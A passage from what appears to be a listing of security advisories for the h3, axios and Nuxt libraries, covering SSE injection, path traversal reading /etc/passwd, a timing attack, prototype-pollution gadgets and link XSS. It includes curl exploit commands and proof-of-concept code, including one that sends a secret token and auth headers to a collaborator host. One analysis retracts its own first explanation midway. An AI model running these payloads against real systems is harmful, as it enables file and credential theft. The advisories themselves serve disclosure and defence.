evil\n\n ` Browser parses as: ` data: legit event: evil ` The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers. Attack 2: Message boundary injection (event splitting) `bash Inject a message boundary (\r\r = empty line) to split one push() into two events curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected" ` Browser parses as two separate events: 1. Event 1: data: first 2. Event 2: data: injected A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely. Attack 3: Comment escape to data injection `bash Inject via pushComment() — escape from comment into data curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected" ` Browser parses as: ` : x (comment, ignored) data: injected (real data, dispatched as event) ` Impact Event spoofing: Attacker can inject arbitrary event: types, causing browsers to dispatch events to different EventSource.addEventListener() handlers than intended. In applications that use custom event types for control flow (e.g., error, done, system), this enables UI manipulation. Message boundary injection: A single push() call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface. Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via pushComment(). Bypass of existing security control: The prior fix (commit 7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security. Recommended Fix Both formatEventStreamMessage and formatEventStreamComment should split on \r, \n, and \r\n — matching the SSE spec's line terminator definition. `typescript // src/utils/internal/event-stream.ts // Add a shared regex for SSE line terminators const SSE_LINE_SPLIT = /\r\n|\r|\n/; export function formatEventStreamComment(comment: string): string { return ( comment .split(SSE_LINE_SPLIT) // was: .split("\n") .map((l) => : ${l}\n) .join("") + "\n" ); } export function formatEventStreamMessage(message: EventStreamMessage): string { let result = ""; if (message.id) { result += id: ${_sanitizeSingleLine(message.id)}\n; } if (message.event) { result += event: ${_sanitizeSingleLine(message.event)}\n; } if (typeof message.retry === "number" && Number.isInteger(message.retry)) { result += retry: ${message.retry}\n; } const data = typeof message.data === "string" ? message.data : ""; for (const line of data.split(SSE_LINE_SPLIT)) { // was: data.split("\n") result += data: ${line}\n; } result += "\n"; return result; } ` This ensures all three SSE-spec line terminators (\r\n, \r, \n) are properly handled as line boundaries, preventing \r` from being passed through to the browser where it would be interpreted as a line break.

OWASP A03OWASP Web
Get guardrail →

h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`

Summary The serveStatic utility in h3 applies a redundant decodeURI() call to the request pathname after H3Event has already performed percent-decoding with %25 preservation. This double decoding converts %252e%252e into %2e%2e, which bypasses resolveDotSegments() (since it checks for literal . characters, not percent-encoded equivalents). When the resulting asset ID is resolved by URL-based backends (CDN, S3, object storage), %2e%2e is interpreted as .. per the URL Standard, enabling path traversal to read arbitrary files from the backend. Details The vulnerability is a conflict between two decoding stages: Stage 1 — H3Event constructor (src/event.ts:65-69): ``typescript if (url.pathname.includes("%")) { url.pathname = decodeURI( url.pathname.includes("%25") ? url.pathname.replace(/%25/g, "%2525") : url.pathname, ); } ` This correctly preserves %25 sequences by escaping them before decoding. A request for /%252e%252e/etc/passwd produces event.url.pathname = /%2e%2e/etc/passwd — the %25 was preserved so %252e became %2e (not .). Stage 2 — serveStatic (src/utils/static.ts:86-88): `typescript const originalId = resolveDotSegments( decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))), ); ` This applies a second decodeURI(), which decodes %2e → ., producing /../../../etc/passwd. However, the decoding happens inside the resolveDotSegments() call argument — decodeURI runs first, then resolveDotSegments processes the result. Wait — re-examining the flow more carefully: 1. Input pathname after event.ts: /%2e%2e/%2e%2e/etc/passwd 2. decodeURI() in static.ts converts %2e → ., producing: /../../../etc/passwd 3. resolveDotSegments("/../../../etc/passwd") does resolve .. segments, clamping to /etc/passwd The actual bypass is subtler. decodeURI() does not decode %2e — it only decodes characters that encodeURI would encode. Since . is never encoded by encodeURI, %2e is not decoded by decodeURI(). So the chain is: 1. Request: /%252e%252e/%252e%252e/etc/passwd 2. After event.ts decode: /%2e%2e/%2e%2e/etc/passwd 3. decodeURI() in static.ts: /%2e%2e/%2e%2e/etc/passwd (unchanged — decodeURI doesn't decode %2e) 4. resolveDotSegments() fast-returns at line 56 because %2e contains no literal . character: `typescript if (!path.includes(".")) { return path; } ` 5. Asset ID /%2e%2e/%2e%2e/etc/passwd is passed to getMeta() and getContents() callbacks 6. URL-based backends resolve %2e%2e as .. per RFC 3986 / URL Standard The root cause is resolveDotSegments() only checks for literal . characters and does not account for percent-encoded dot sequences (%2e). The decodeURI() in static.ts is redundant (event.ts already decodes) but is not the direct cause — the real gap is that %2e%2e survives as a traversal payload through both decoding stages and resolveDotSegments. PoC 1. Create a minimal h3 server with a URL-based static backend: `javascript // server.mjs import { H3, serveStatic } from "h3"; import { serve } from "srvx"; const app = new H3(); app.get("/", (event) => { return serveStatic(event, { getMeta(id) { console.log("[getMeta] asset ID:", id); // Simulate URL-based backend (CDN/S3) const url = new URL(id, "https://cdn.example.com/static/"); console.log("[getMeta] resolved URL:", url.href); return { type: "text/plain" }; }, getContents(id) { console.log("[getContents] asset ID:", id); const url = new URL(id, "https://cdn.example.com/static/"); console.log("[getContents] resolved URL:", url.href); return Fetched from: ${url.href}; }, }); }); serve({ fetch: app.fetch, port: 3000 }); ` 2. Send the double-encoded traversal request: `bash curl -v 'http://localhost:3000/%252e%252e/%252e%252e/etc/passwd' ` 3. Observe server logs: ` [getMeta] asset ID: /%2e%2e/%2e%2e/etc/passwd [getMeta] resolved URL: https://cdn.example.com/etc/passwd [getContents] asset ID: /%2e%2e/%2e%2e/etc/passwd [getContents] resolved URL: https://cdn.example.com/etc/passwd ` The %2e%2e sequences in the asset ID are resolved as .. by the URL constructor, causing the backend URL to traverse from /static/ to /etc/passwd. Impact Arbitrary file read from backend storage: An unauthenticated attacker can read files outside the intended static asset directory on any URL-based backend (CDN origins, S3 buckets, object storage, reverse-proxied file servers). Sensitive data exposure: Depending on the backend, this could expose configuration files, credentials, source code, or other tenants' data in shared storage. Affected deployments: Applications using serveStatic with callbacks that resolve asset IDs via URL construction (new URL(id, baseUrl) or equivalent). This is a common pattern for CDN proxying and cloud object storage backends. Filesystem-based backends using path.join() are not affected since %2e%2e is not resolved as a traversal sequence by filesystem APIs. Recommended Fix The resolveDotSegments() function must account for percent-encoded dot sequences. Additionally, the redundant decodeURI() in serveStatic should be removed since H3Event already handles decoding. Fix 1 — Remove redundant decodeURI in src/utils/static.ts:86-88: `diff const originalId = resolveDotSegments( decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))), withLeadingSlash(withoutTrailingSlash(event.url.pathname)), ); ` Fix 2 — Harden resolveDotSegments in src/utils/internal/path.ts:55-73 to handle percent-encoded dots:** `diff export function resolveDotSegments(path: string): string { if (!path.includes(".")) { if (!path.includes(".") && !path.toLowerCase().includes("%2e")) { return path; } // Normalize backslashes to forward slashes to prevent traversal via \ const segments = path.replaceAll("\\", "/").split("/"); const segments = path.replaceAll("\\", "/") .replaceAll(/%2e/gi, ".") .split("/"); const resolved: string[] = []; ` Both fixes should be applied. Fix 1 removes the unnecessary double-decode. Fix 2 provides defense-in-depth by ensuring resolveDotSegments` cannot be bypassed with percent-encoded dots regardless of the caller.

OWASP A01OWASP Web
Get guardrail →

h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read

Summary serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments. Details The vulnerability exists in src/utils/static.ts at line 86: ``typescript const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))); ` On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e). This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward). The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation. When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory. Before exploit: <img width="761" height="97" alt="image" src="https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627" /> Vulnerability chain ` 1. Attacker sends: GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd 2. FastURL.pathname: /%2e%2e/%2e%2e/%2e%2e/etc/passwd (raw, no normalization) 3. decodeURI(): /../../../etc/passwd (%2e decoded to .) 4. getMeta(id): id = "/../../../etc/passwd" (no traversal check) 5. path.join(root,id): /etc/passwd (.. resolved by OS) 6. Response: contents of /etc/passwd ` PoC Vulnerable server (server.ts) `typescript import { H3, serveStatic } from "h3"; import { serve } from "h3/node"; import { readFileSync, statSync } from "node:fs"; import { join, resolve } from "node:path"; const STATIC_ROOT = resolve("./public"); const app = new H3(); app.all("/", (event) => serveStatic(event, { getMeta: (id) => { const filePath = join(STATIC_ROOT, id); try { const stat = statSync(filePath); return { size: stat.size, mtime: stat.mtime }; } catch { return undefined; } }, getContents: (id) => { const filePath = join(STATIC_ROOT, id); try { return readFileSync(filePath); } catch { return undefined; } }, }) ); serve({ fetch: app.fetch }); ` Exploit `bash Read /etc/passwd (adjust number of %2e%2e segments based on static root depth) curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" ` Result ` root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... ` Proof: <img width="940" height="703" alt="image" src="https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1" /> Pwned by 0xkakashi <img width="942" height="74" alt="image" src="https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95" /> Impact An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic(). This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed. Exploitable files include but are not limited to:** /etc/passwd, /etc/shadow (if readable) Application source code and configuration files .env` files containing secrets, API keys, database credentials Private keys and certificates

OWASP A01OWASP A05LLM05 · Supply ChainOWASP Web
Get guardrail →

h3 has an observable timing discrepancy in basic auth utils

Summary A Timing Side-Channel vulnerability exists in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections. Details The vulnerability is located in the requireBasicAuth function. The code performs a standard string comparison between the user-provided password and the expected password: ~~~typescript if (opts.password && password !== opts.password) { throw autheFailed(event, opts?.realm); } ~~~ In V8 (and most runtime environments), the !== operator is optimized to "fail fast." It stops execution and returns false as soon as it encounters the first mismatched byte. If the first character is wrong, it returns immediately. If the first character is correct but the second is wrong, it takes slightly longer. By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time. PoC This vulnerability is exploitable in real-world scenarios without direct access to the server machine. To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time: 1. Packet A: Contains a password that is known to be incorrect starting at the first character (e.g., AAAA...). 2. Packet B: Contains a password where the first character is a guess (e.g., B...). By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely. Impact This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).

Axios: Nested axios option objects can consume polluted prototype values

Summary Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype. The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests. Impact This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object. Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued. The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode. This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget. Affected Functionality Affected runtime functionality: Node HTTP adapter Basic auth handling in lib/adapters/http.js. Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js. Query serialization through lib/helpers/buildURL.js. axios.getUri() when called with an affected paramsSerializer object. Affected config shapes: auth: {} or an auth object missing own username and/or password. paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize. Unaffected by this specific issue: Requests with no auth property. Requests with no paramsSerializer property. Top-level polluted auth or paramsSerializer values in current hardened versions. Technical Details lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers: ``js } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } ` Downstream code then reads nested fields without own-property checks. In lib/helpers/resolveConfig.js: `js btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ` In lib/adapters/http.js: `js const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; ` In lib/helpers/buildURL.js: `js const _encode = (options && options.encode) || encode; const serializeFn = _options && _options.serialize; ` Proof of Concept of Attack `js import http from 'node:http'; import axios from './index.js'; const user = 'attacker'; const pass = 'exfil'; Object.defineProperty(Object.prototype, 'username', { value: user, configurable: true }); Object.defineProperty(Object.prototype, 'password', { value: pass, configurable: true }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true }); const server = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ authorization: req.headers.authorization || null, url: req.url })); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); try { const port = server.address().port; const response = await axios.get(http://127.0.0.1:${port}/demo, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored' } }); console.log(response.data); } finally { await new Promise((resolve) => server.close(resolve)); delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } ` Observed result: `json { "authorization": "Basic YXR0YWNrZXI6ZXhmaWw=", "url": "/demo?polluted=1" } ` Workarounds If upgrading is not yet possible, avoid passing placeholder nested option objects. Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required. These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process. <details> <summary>Original Report</summary> Summary axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. Details mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers: mergeConfig.js Lines 36-45 ` function getMergedValue(target, source, prop, caseless) { if (utils.isPlainObject(target) && utils.isPlainObject(source)) { return utils.merge.call({ caseless }, target, source); } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } else if (utils.isArray(source)) { return source.slice(); } return source; } ` The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard: Browser / fetch Basic auth — lib/helpers/resolveConfig.js: resolveConfig.js Lines 64-70 ` if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ); } ` Node HTTP adapter Basic auth — lib/adapters/http.js: http.js Lines 829-836 ` // HTTP basic authentication let auth = undefined; const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ` paramsSerializer reads — lib/helpers/buildURL.js: buildURL.js Lines 31-54 ` export default function buildURL(url, params, options) { if (!params) { return url; } const _encode = (options && options.encode) || encode; const _options = utils.isFunction(options) ? { serialize: options, } : options; const serializeFn = _options && _options.serialize; let serializedParams; if (serializeFn) { serializedParams = serializeFn(params, _options); } else { serializedParams = utils.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, _options).toString(_encode); } ` Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request. The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string. PoC ` import http from 'node:http'; import axios from '../../index.js'; const ATTACKER_USER = 'attacker'; const ATTACKER_PASS = 'exfil'; const ATTACKER_BASIC = Buffer.from(${ATTACKER_USER}:${ATTACKER_PASS}).toString('base64'); // Step 1: simulate a pre-existing prototype-pollution primitive in this process. // In reality, a separate dependency would have done this. We keep the // "polluted" properties non-enumerable so they only affect inherited reads, // which is the realistic shape of most prototype-pollution gadgets. Object.defineProperty(Object.prototype, 'username', { value: ATTACKER_USER, configurable: true, }); Object.defineProperty(Object.prototype, 'password', { value: ATTACKER_PASS, configurable: true, }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true, }); // Local capture server. const server = http.createServer((req, res) => { const captured = { authorization: req.headers['authorization'] || null, url: req.url, }; res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify(captured)); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; try { // Application code: passes nested placeholder option objects that have // no own auth/serializer properties. Without prototype pollution this is // a no-op. With prototype pollution it becomes attacker-controlled state. const response = await axios.get(http://127.0.0.1:${port}/demo, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored-by-polluted-serializer' }, }); console.log('--- PoC: nested-option prototype-pollution gadgets ---'); console.log('Server saw:', JSON.stringify(response.data)); const authLeaked = response.data.authorization === Basic ${ATTACKER_BASIC}; const urlRewritten = response.data.url === '/demo?polluted=1'; if (authLeaked && urlRewritten) { console.log( 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' + 'Object.prototype values into the outbound request.' ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: nested option objects did not leak prototype state.'); console.log(' authLeaked =', authLeaked); console.log(' urlRewritten =', urlRewritten); process.exitCode = 1; } } finally { server.close(); // Restore Object.prototype so a noisy exit/process state cannot affect // anything else accidentally sharing the runtime. delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } `` Impact Concrete consequences: Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams. Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line. <details>

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Axios: Prototype pollution gadgets can alter axios request construction

Summary axios is vulnerable to read-side prototype-pollution gadgets when Object.prototype has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: axios.get(), axios.delete(), axios.head(), and axios.options() read inherited data before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body. Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited proxy or paramsSerializer values can influence request routing or URL serialization. These low-level paths are not reproduced through normal axios.get() usage on 1.15.2+. Impact An attacker who can first pollute Object.prototype can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on GET, DELETE, HEAD, or OPTIONS. For direct low-level Node HTTP adapter usage, inherited proxy can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification. For direct resolveConfig or browser-adapter helper usage, inherited paramsSerializer can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on 1.15.2+. Affected Functionality Affected normal API: axios.get(url[, config]) axios.delete(url[, config]) axios.head(url[, config]) axios.options(url[, config]) Affected low-level usage: Direct calls to axios/lib/adapters/http.js or axios/unsafe/adapters/http.js with plain configs and no own proxy. Direct calls to axios/unsafe/helpers/resolveConfig.js or direct browser adapter/helper paths with plain configs and no own paramsSerializer. Unaffected or corrected scope: Normal axios.get() calls on 1.15.2+ did not reproduce the proxy or paramsSerializer gadgets because mergeConfig() returns a null-prototype config and uses own-property reads. Technical Details lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter. lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1. The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values. Proof of Concept of Attack ``js import http from 'http'; import axios from 'axios'; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { res.writeHead(200, {'content-type': 'application/json'}); res.end(JSON.stringify({body, headers: req.headers})); }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.data = 'INJECTED'; try { const res = await axios.get(http://127.0.0.1:${server.address().port}/data); console.log(res.data.body); // "INJECTED" console.log(res.data.headers['content-length']); // "8" } finally { delete Object.prototype.data; await new Promise(resolve => server.close(resolve)); } ` Expected result: a request body is sent even though the caller did not explicitly set config.data. Workarounds Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern. <details> <summary>Original Report</summary> Summary Three prototype pollution read-side gadgets in axios bypass the own() hasOwnProp guard pattern, allowing a polluted Object.prototype to hijack outbound requests. Details The own() helper was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: config.proxy at http.js:715 goes straight into setProxy(). A polluted Object.prototype.proxy reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. (config || {}).data at Axios.js:248 covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. config.paramsSerializer at resolveConfig.js:32 is three lines below the own() definition that was supposed to protect it. A polluted function onto Object.prototype.paramsSerializer gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use hasOwnProp guards. These three seem to predate or were missed by that coverage. PoC Ran against axios@1.15.2 on node:22-slim in Docker. Clean install, no other deps. `javascript import axios from 'axios'; // gadget 1 - proxy Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' }; await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } }); // check collaborator - request arrives with full path + auth header ` `javascript // gadget 2 - data on bodyless methods Object.prototype.data = '{"injected":true}'; await axios.get('https://api.example.com/items'); await axios.delete('https://api.example.com/items/1'); await axios.head('https://api.example.com/items'); // 3/4 methods send the polluted body ` `javascript // gadget 3 - paramsSerializer Object.prototype.paramsSerializer = (p) => { fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p)); return 'q=x'; }; await axios.get('https://api.example.com/search', { params: { token: 'secret' } }); ` Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or paramsSerializer` directly. </details>

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Nuxt: Reflected XSS in `<NuxtLink>` via unsanitised `javascript:` or `data:` URL

Summary <NuxtLink> did not validate the URL scheme of values bound to its to or href props before rendering them into the href attribute of the underlying <a> element. When an application binds attacker-controlled input (a query parameter, a CMS field, a user-supplied profile URL) to <NuxtLink :to> or :href, the attacker can supply a javascript: or vbscript: URL that is reflected verbatim into the rendered markup. Clicking the link executes the supplied script in the origin of the Nuxt application, resulting in reflected DOM-based cross-site scripting. A data:text/html,... payload reflected through the same sink does not execute in the application's origin but enables a same-tab phishing surface anchored to a legitimate application link. The same value was exposed to consumers of the component's custom slot via the href and route.href props, so applications that re-bind those values to their own anchors were affected identically. Unlike the previously reported navigateTo issue (CVE-2024-34343), the sink here is the rendered anchor itself; the existing isScriptProtocol checks in navigateTo and reloadNuxtApp are not on the code path. The onClick handler intentionally returns early for external links so the browser's native protocol-based navigation runs. Affected component File: packages/nuxt/src/app/components/nuxt-link.ts Sink: h('a', { href: href.value, ... }) in the default render, plus the href / route.href props passed to the custom slot. Broken check: external auto-detection treated any hasProtocol(path, { acceptRelative: true }) value as an "external link", then rendered the value directly as <a href> without rejecting script-capable protocols. There was no equivalent of the navigateTo isScriptProtocol(protocol) gate in this path. Impact Any Nuxt application that binds user-controlled values to <NuxtLink :to> / :href was vulnerable. Common shapes: profile-link rendering (<NuxtLink :to="user.website">), "share this" / "open in new tab" handlers that pass through a query parameter, CMS-driven landing pages that render <NuxtLink :to="cms.cta.url">, and marketplace listings that show seller-supplied links. For javascript: / vbscript: the primitive is reflected XSS in the application's first-party origin (session theft for non-HttpOnly cookies, CSRF token theft, account takeover via DOM rewriting, credential harvesting via fake login overlays). For data:text/html,... the attacker gets a same-tab phishing surface anchored to a legitimate application link. Patches Fixed in nuxt@4.4.7 (commit 0103ce06) and backported to nuxt@3.21.7 (commit 53284043). The fix sanitises the resolved external href before it is passed to <a> or the custom slot: control characters and whitespace are stripped, leading view-source: prefixes are unwrapped, and any remaining script-capable scheme (per isScriptProtocol) causes the href to be replaced with an empty string. Workarounds Until you can upgrade, validate URLs at the source before binding them to <NuxtLink :to> / :href. For example, only accept paths that start with / (and not //), or run user-supplied URLs through new URL(value) and reject anything whose protocol is not in an allow-list (typically http: and https:).

OWASP A03OWASP Web
Get guardrail →
8 rules

axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions

Summary axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash _.merge / CVE-2018-16487), axios silently picks up the polluted values: 1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire. 2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request. Affected Properties | Polluted slot | Effect | |---|---| | Object.prototype.common | injects headers on every method | | Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method | | Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 | | Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 | Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built. Proof of Concept ``javascript const axios = require('axios'); // Finding A - header injection Object.prototype.common = { 'X-Poisoned': 'yes' }; await axios.get('http://api.example.com/users'); // Wire request carries X-Poisoned: yes. // Finding B - crash DoS Object.prototype.get = { something: 'anything' }; await axios.get('http://api.example.com/users'); // TypeError: Getter must be a function: #<Object> // at Function.defineProperty (<anonymous>) // at mergeConfig (lib/core/mergeConfig.js:26:10) ` Impact Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body. CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body. Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD. Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure. Attack Flow `mermaid flowchart TD ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash &lt;= 4.17.10 _.merge / CVE-2018-16487)<br/>axios &lt;= 1.15.2"] ROOT --> CLASS_A["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"] ROOT --> CLASS_B["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"] CLASS_A --> PRE_A["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"] PRE_A --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"] PA1 --> SA1["DoS<br/>304 Not Modified empty"] PRE_A --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"] PA2 --> SA2["DoS<br/>connection hang"] PRE_A --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"] PA3 --> SA3["DoS<br/>400 Bad Request"] CLASS_B --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"] %% Styles style ROOT fill:#f87171,stroke:#991b1b,color:#fff style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff 